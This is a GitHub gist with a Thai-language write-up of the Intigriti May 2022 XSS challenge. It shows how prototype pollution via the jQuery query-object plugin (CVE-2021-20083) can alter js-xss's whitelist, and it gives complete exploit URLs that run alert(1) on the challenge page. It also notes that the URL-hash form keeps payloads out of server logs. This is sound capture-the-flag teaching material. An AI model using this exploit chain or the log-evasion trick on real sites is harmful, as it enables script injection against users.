Last active
June 5, 2022 09:18
-
-
Save pich4ya/dad810da60584712a20210262673f0bd to your computer and use it in GitHub Desktop.
Intigriti May '22 XSS Challenge - Prototype Pollution Writeup
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@author Pichaya (LongCat) Morimoto ([email protected]) | |
Challenge: https://challenge-0522.intigriti.io/challenge/challenge.html | |
จุดประสงค์คือต้องทำ XSS โดยที่มีการป้องกันไว้ด้วย | |
(1) ไม่ได้รับค่า User Input มาแสดงตรง ๆ รับแค่ Index (ตัวเลข) แล้วไป Lookup Content ที่เป็น HTML มาแสดง | |
(2) HTML Content (Static แบบ Fixed ไว้) ที่ Lookup มายังจะโดน Sanitize ต่อด้วยฟังก์ชัน filterXSS() จาก lib ชื่อ xss-js | |
Tech Stack: | |
jQuery 3.5.1 + Query query-object plugin (CVE-2021-20083) | |
https://code.jquery.com/jquery-3.5.1.js | |
ใช้ Gadget JS-XSS 0.3.3 เป็น XSS Gadget | |
https://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.min.js | |
โค้ดช่องโหว่: | |
Query query-object plugin (CVE-2021-20083) + | |
var pages = { | |
1: `HOME`, | |
2: `PRODUCTS`, [...] | |
var pl = $.query.get('page'); | |
if(pages[pl] != undefined){ | |
document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]); | |
} | |
- ทำ XSS ตรง ๆ (?page=XSS) ไม่ได้เพราะ ใช้ user input (page) เป็นแค่ | |
ตัวเลข index ที่เอาไป lookup ต่อที่ pages อีกทีว่า HTML คืออะไร | |
- ทำ Prototype Pollution จากช่องโหว่ของ Query query-object plugin (CVE-2021-20083) | |
จะแก้ไข ค่า Attribute ของ Object ไหนก็ได้ เช่น ?pages[__proto__][6]=hello | |
จะทำให้ ตัวแปร pages มี index ใหม่ เป็น 6 เพิ่มเข้ามา ถ้าเราใส่ page=6 จะเจอ hello | |
Payload: ?pages[__proto__][6]=hello&page=6 | |
- ตอนแรกกะว่าจะแก้จาก hello เป็น XSS Payload เลยเช่น | |
pages[__proto__][6]=<img+src%3Dx+onerror%3Dalert(1)>&page=6 | |
แต่ทำไม่ได้ เพราะว่า ในโค้ดมัน ใช้ filterXSS() ป้องกันค่าที่ lookup จาก pages ไว้อีกที | |
ตัวอย่างเช่น filterXSS("<img onerror=alert(1) src=x>") | |
จะได้ค่า return กลับมาเหลือแค่ '<img src>' | |
วิธีแฮกเลย เปลี่ยนจากการแก้ pages ไปเป็นการไปแก้ค่าอื่นใน js-xss แทน | |
โดยไอเดีย คือใน js-xss โดยค่าเริ่มต้นฟังก์ชัน filterXSS() มันจะ Sanitize | |
ค่า Argument ที่รับเข้ามาให้กลายเป็น HTML ที่ปลอดภัย ไร้ JavaScript (XSS) | |
แต่ว่า มันก็มีออฟชัน ยอมให้ยกเว้นได้ ถ้าโปรแกรมเมอร์ระบุไว้ กรณีจำเป็นต้องใช้ | |
โดยออฟชันที่ว่าชื่อว่า whitelist | |
https://github.com/leizongmin/js-xss#whitelist | |
จากคู่มือบอกไว้ว่าเราสามารถประกาศ whitelist ได้ว่า HTML tag และ attribute อะไรยอมให้ใช้ได้เช่น | |
var options = { | |
whiteList: { | |
a: ["href", "title", "target"] | |
}, | |
}; | |
เราก็เลยจะทำ Prototype Pollution ไปสร้างออฟชันนี้ให้ยอมให้เรารัน JavaScript เสมือนกับว่ามี | |
var options = { | |
whiteList: { | |
img: ["src", "onerror"] | |
}, | |
}; | |
วิธีทำ Prototype Pollution ตาม options ด้านบนคือ | |
pwn[__proto__][whiteList][img][0]=onerror | |
pwn[__proto__][whiteList][img][1]=src | |
หมายเหตุ: ใช้ชื่อตัวแปรอะไรตั้งค่า __proto__ ก็ได้ตัวอย่างนี้ตั้งเองชื่อ pwn | |
ใส่ใน HTTP Parameter หรือใส่ใน location.hash ก็ได้ | |
จากนั้นก็สร้าง pages[5] หน้าใหม่และใส่คำสั่ง XSS ตามที่ยอมใน whitelist | |
pwn[__proto__][5]=<img src=x onerror=alert(1)> | |
หมายเหตุ: = ในค่า Value ต้อง URL Encode เป็น %3D | |
แล้วใส่ HTTP Parameter ระบุว่าให้เข้าไปที่ pages[5] คือ | |
page=5 | |
เอาทุกอย่างมารวมกัน จะได้ | |
https://challenge-0522.intigriti.io/challenge/challenge.html?pages[__proto__][whiteList][img][0]=onerror&pages[__proto__][whiteList][img][1]=src&pages[__proto__][5]=<img%20src%3Dx%20onerror%3Dalert(1)>&page=5 | |
ซึ่งนอกจากจะใส่เป็น HTTP Parameter แล้วใน jQuery ก็มีโค้ดกำหนดให้ใส่เป็น Hash (#) ใน URL ก็ได้ เช่น | |
https://challenge-0522.intigriti.io/challenge/challenge.html#pages[__proto__][whiteList][img][0]=onerror&pages[__proto__][whiteList][img][1]=src&pages[__proto__][5]=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E&page=5 | |
ซึ่งแบบ URL Hash (#) จะได้ประโยชน์ในมุมแฮกเกอร์ มากกว่าเพราะค่า XSS Payload หลัง # จะไม่ถูกเก็บใน Log ของเว็บเซิร์ฟเวอร์ | |
เพิ่มเติม: | |
https://github.com/0xGodson/blogs/blob/master/_posts/2022-06-03-intigriti-may-chal.md | |
https://github.com/BlackFan/client-side-prototype-pollution |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment